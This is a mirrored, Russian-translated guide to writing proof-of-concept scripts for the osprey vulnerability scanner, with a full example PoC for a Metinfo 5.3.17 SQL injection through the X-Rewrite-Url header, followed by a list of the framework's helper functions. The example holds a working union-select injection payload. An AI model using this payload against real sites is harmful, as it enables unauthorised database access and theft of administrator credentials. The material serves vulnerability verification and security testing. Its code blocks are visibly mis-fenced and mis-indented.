1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/mirrors-osprey

В этом репозитории не указан файл с открытой лицензией (LICENSE). При использовании обратитесь к конкретному описанию проекта и его зависимостям в коде.
Клонировать/Скачать
PoC_specification.md 10 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
Отправлено 16.03.2025 22:06 c46bd1e

Написание POC на основе osprey: руководство и требования

Для написания POC на основе osprey следует придерживаться соглашений по формату фреймворка.

Пользователи могут создавать больше POC для расширения возможностей безопасности osprey. В то же время платформа приема POC от компании Vulbox предлагает платную возможность отправки POC для широкой аудитории (белых хакеров, разработчиков, исследователей безопасности, любителей технологий безопасности и т.д.). Приглашаем вас отправить свои POC на платформу приема POC Vulbox.

Учебный пример по написанию POC для osprey

Osprey разработан с использованием Python3, поэтому скрипты POC также должны использовать py3.

  • Название файла POC

Имя файла состоит из VID и английского описания. VID имеет формат "vb_year_xxxx", английское описание должно следовать правилу camelCase, используя "_" для разделения. Описание должно максимально точно отражать компонент, версию, путь и тип уязвимости.

Так как osprey вызывает POC-скрипт через параметр --v, имя файла должно корректно содержать VID и быть уникальным.

Пример названия файла: vb_2017_0060_Metinfo_5_3_17_X_Rewrite_url_Sql_Injection.py

  • Создание POC
from BasePoc import BasePoc               # импорт базового класса BasePoc, который является обязательным для всех POC-скриптов
from utils import tree, highlight, req    # импорт некоторых часто используемых функций из модуля utils
from urllib.parse import urljoin          # импорт других необходимых модулей
```POC_NAME = "MetinfoXRewriteurlSQLInjection"    # name of the class POC that will be used by osprey to create an instance of the class


class MetinfoXRewriteurlSQLInjection(BasePoc):

    # Class implementation of POC which should inherit from BasePoc
    # Filling in basic information in three dictionaries: poc_info, scan_info, test_case```python
    poc_info = {
         'poc': {
             'Id': 'vb_2017_0060',    # ID POC
             'vbid': '',
             'Name': 'Metinfo 5.3.17 X-Rewrite-url SQL Injection',    # название POC
             'Author': 'ice.liao',    # автор POC
             'Create_date': '2017-08-15',    # дата создания POC
             },
 ``````markdown
         'vul': {
             'Product': 'Metinfo',    # Название продукта, в котором найдена уязвимость
             'Version': '5.3.17',    # Версия продукта
             'Type': 'SQL-Injection',    # Тип уязвимости
             'Severity': 'критический',    # Уровень опасности уязвимости low/medium/high/critical
             'isWeb' : True,    # Является ли это web-уязвимостью
             'Description': '''
                 MetInfo — это система управления контентом (CMS), созданная компанией 米拓信息技术有限公司 из Чжучжоу, Китай, использующая PHP и MySQL.
                 Вред: Информация базы данных сайта может быть украдена, а пароль администратора может быть получен удалённым злоумышленником.
                 Совет по исправлению: Перейдите на http://www.metinfo.cn/download/, чтобы скачать последнюю версию.
             ''',    # Краткое описание уязвимости
             'DisclosureDate': '2017-08-11',    # Дата публикации PoC
         }
     }
 ```    # scan_info информацию можно оставить по умолчанию, параметры такие как target/mode/verbose могут быть установлены через командные строки в osprey
     scan_info = {
         'Target': '',    # Целевой домен сайта
         'Mode': 'verify',    # verify или exploit
         'Verbose': True,    # Выводить ли подробную информацию
         'Error': '',    # Информация для записи при неудачной проверке
         'Success': False,    # Найдено ли уязвимость, если да, то обновите это значение до True
    'risk_category': 'sec_vul',
     'Ret': tree(),    # Может использоваться для записи дополнительной информации
 }    test_case = {
    'Need_fb': False,
    'Vuln': [],    # Список тестовых URL для найденных уязвимостей
    'Not_vuln': [],    # Аналогично
}


def verify(self, first=False):
    # Метод верификации уязвимости (mode=verify)
    target = self.scan_info.get("Target", "")    # Получение целевого адреса
    verbose = self.scan_info.get("Verbose", False)   # Выводить ли подробную информацию

    # Логика проверки PoC
    url = urljoin(target, 'index.php?lang=Cn&index=1')
    payload = "1/2/zxxza' union select 1,2,3,md5(0x11),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#/index.php"
    headers = {
        "X-Rewrite-Url": payload
    }

    location = ""
    # Используется req для отправки HTTP запросов и получения ответов, req - это функция TCC фреймворка, которая упаковывает методы HTTP requests в единую функцию req(url, method, **kwargs), параметры передаются так же как в requests
    resp = req(url, 'get', headers=headers, allow_redirects=False)
    if resp is not None:
        location = resp.headers.get("Location", "")

    if "47ed733b8d10be225eceba344d533586" in location:
        self.scan_info['Success'] = True    # Уязвимость найдена, обязательно установите это поле до True (обязательно)
        self.scan_info['Ret']['VerifyInfo']['URL'] = url    # Запись дополнительной информации о найденной уязвимости (необязательно)
        self.scan_info['Ret']['VerifyInfo']['DATA'] = "X-Rewrite-Url:" + payload
        if verbose:
            highlight('[*] Metinfo 5.3.17 X-Rewrite-url SQL Injection found')    # Вызов highlight для вывода информации о найденной уязвимости, другие доступные методы включают info(), warn(), error(), highlight()    def exploit(self, first=False):
    # Метод эксплуатации уязвимости (mode=verify)
    self.verify(first=first)

Введение в инструменты фреймворка Osprey

При создании PoC скриптов рекомендуется использовать стандартные библиотеки, но также можно применять сторонние модули. Кроме использования сторонних модулей и самостоятельного написания функций, фреймворк Osprey предоставляет файл utils.py, который служит как библиотека часто используемых функций. Это позволяет избежать необходимости самостоятельно реализовывать общие функциональности.

from utils import *

tree()    # Создает дерево, пример использования:
test = tree()
test["A"]["B"] = "1"
test["A"]    # {'B': '1'}
test["A"]["B"]    # '1'

now()    # Возвращает текущее время в формате: "YYYY-MM-DD HH:MM:SS,MS", где MS — миллисекунды

is_same_domain(url1, url2)    # Определяет, являются ли два URL одного домена, не учитывая различия в портах или протоколах

get_absolute_url(base, url)    # Получает абсолютный путь URL

retrieve_url_from_page(p_url, keyword, depth)    # Поиск URL с указанным ключевым словом на странице p_url

retrieve_url_from_spider(spider)   # Получает URL из файла URL-адресов пауков

normalize_url(url)    # Преобразует некорректный URL в http://xxx/

valid_status_code(status_code)    # Проверяет HTTP-статус ответа. Возвращает False при статусах 4XX-5XX

target_handler(target, port, payload)    # Объединяет URL с портом и нагрузкой, возвращает список
```get_scan_info(scan_info)    # Возвращает данные Target и Verbose из scan_info

isIP(target)    # Проверяет, является ли входной параметр IP-адресом

get_html(url, **kwargs)    # Выполняет GET запрос и получает Response body. Возвращаемое значение имеет тип bytes

url_join(base, url)    # Объединяет два пути

info(message)    # Выводит сообщение уровня info

warn(message)    # Выводит сообщение уровня warn

error(message)    # Выводит сообщение уровня error

highlight(message)    # Выводит выделенное сообщение

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/mirrors-osprey.git
git@api.gitlife.ru:oschina-mirror/mirrors-osprey.git
oschina-mirror
mirrors-osprey
mirrors-osprey
master